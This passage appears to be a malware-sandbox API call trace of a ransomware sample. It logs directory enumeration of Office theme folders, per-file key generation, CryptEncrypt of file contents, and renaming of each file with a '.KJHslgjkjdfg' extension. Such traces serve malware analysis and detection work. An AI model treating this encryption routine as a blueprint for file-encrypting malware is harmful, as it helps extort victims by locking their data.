hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0220.600] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xb, lpOverlapped=0x0) returned 1 [0220.603] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.603] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.603] GetProcessHeap () returned 0x990000 [0220.603] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.603] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0220.603] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.603] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0220.603] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0220.603] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0220.603] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0220.603] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0220.603] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.604] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.604] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.604] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.604] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x15d75, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x15d75, lpOverlapped=0x0) returned 1 [0220.606] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x15d80, dwBufLen=0x15d80 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x15d80) returned 1 [0220.607] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.607] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x15d80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x15d80, lpOverlapped=0x0) returned 1 [0220.608] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.608] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x15e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.608] SetEndOfFile (hFile=0x124) returned 1 [0220.611] GetProcessHeap () returned 0x990000 [0220.611] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.611] GetProcessHeap () returned 0x990000 [0220.611] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.611] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx.kjhslgjkjdfg")) returned 1 [0220.613] CloseHandle (hObject=0x124) returned 1 [0220.613] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Theme Colors", cAlternateFileName="THEMEC~1")) returned 1 [0220.614] GetProcessHeap () returned 0x990000 [0220.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x94) returned 0x9b2468 [0220.614] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0220.617] GetProcessHeap () returned 0x990000 [0220.617] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0220.617] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="..", cAlternateFileName="")) returned 1 [0220.618] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Adjacency.xml", cAlternateFileName="ADJACE~1.XML")) returned 1 [0220.618] GetProcessHeap () returned 0x990000 [0220.618] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x296) returned 0x9ffc90 [0220.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0220.620] GetProcessHeap () returned 0x990000 [0220.620] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.620] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.620] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0220.620] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.620] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.620] GetProcessHeap () returned 0x990000 [0220.620] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.620] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0220.620] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.620] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0220.622] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0220.623] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0220.623] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0220.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0220.623] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0220.623] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.623] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.623] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3a0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3a0, lpOverlapped=0x0) returned 1 [0220.623] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3a0) returned 1 [0220.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.623] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3a0, lpOverlapped=0x0) returned 1 [0220.623] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.624] SetEndOfFile (hFile=0x130) returned 1 [0220.626] GetProcessHeap () returned 0x990000 [0220.626] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.626] GetProcessHeap () returned 0x990000 [0220.626] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.626] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml.kjhslgjkjdfg")) returned 1 [0220.629] CloseHandle (hObject=0x130) returned 1 [0220.629] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Angles.xml", cAlternateFileName="")) returned 1 [0220.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0220.630] GetProcessHeap () returned 0x990000 [0220.630] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.630] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.630] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0220.630] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x3, lpOverlapped=0x0) returned 1 [0220.633] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.633] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.633] GetProcessHeap () returned 0x990000 [0220.633] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0220.633] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0220.633] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.633] WriteFile (in: hFile=0x130, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0220.633] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0220.633] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0220.634] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0220.634] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0220.634] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0220.634] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.634] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.634] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.634] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x39d, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x39d, lpOverlapped=0x0) returned 1 [0220.634] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3a0) returned 1 [0220.634] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.634] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3a0, lpOverlapped=0x0) returned 1 [0220.634] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.634] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.634] SetEndOfFile (hFile=0x130) returned 1 [0220.637] GetProcessHeap () returned 0x990000 [0220.637] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0220.637] GetProcessHeap () returned 0x990000 [0220.637] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.637] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml.kjhslgjkjdfg")) returned 1 [0220.639] CloseHandle (hObject=0x130) returned 1 [0220.639] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Apex.xml", cAlternateFileName="")) returned 1 [0220.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0220.641] GetProcessHeap () returned 0x990000 [0220.641] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.642] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.642] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0220.642] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x1, lpOverlapped=0x0) returned 1 [0220.643] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.643] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.643] GetProcessHeap () returned 0x990000 [0220.643] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0220.643] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0220.643] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.643] WriteFile (in: hFile=0x130, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0220.644] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0220.644] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0220.644] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0220.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0220.644] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0220.644] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.644] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.644] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3bf, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3bf, lpOverlapped=0x0) returned 1 [0220.644] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3c0) returned 1 [0220.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.644] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3c0, lpOverlapped=0x0) returned 1 [0220.644] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.644] SetEndOfFile (hFile=0x130) returned 1 [0220.646] GetProcessHeap () returned 0x990000 [0220.646] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0220.646] GetProcessHeap () returned 0x990000 [0220.646] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.646] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml.kjhslgjkjdfg")) returned 1 [0220.648] CloseHandle (hObject=0x130) returned 1 [0220.648] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Apothecary.xml", cAlternateFileName="APOTHE~1.XML")) returned 1 [0220.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 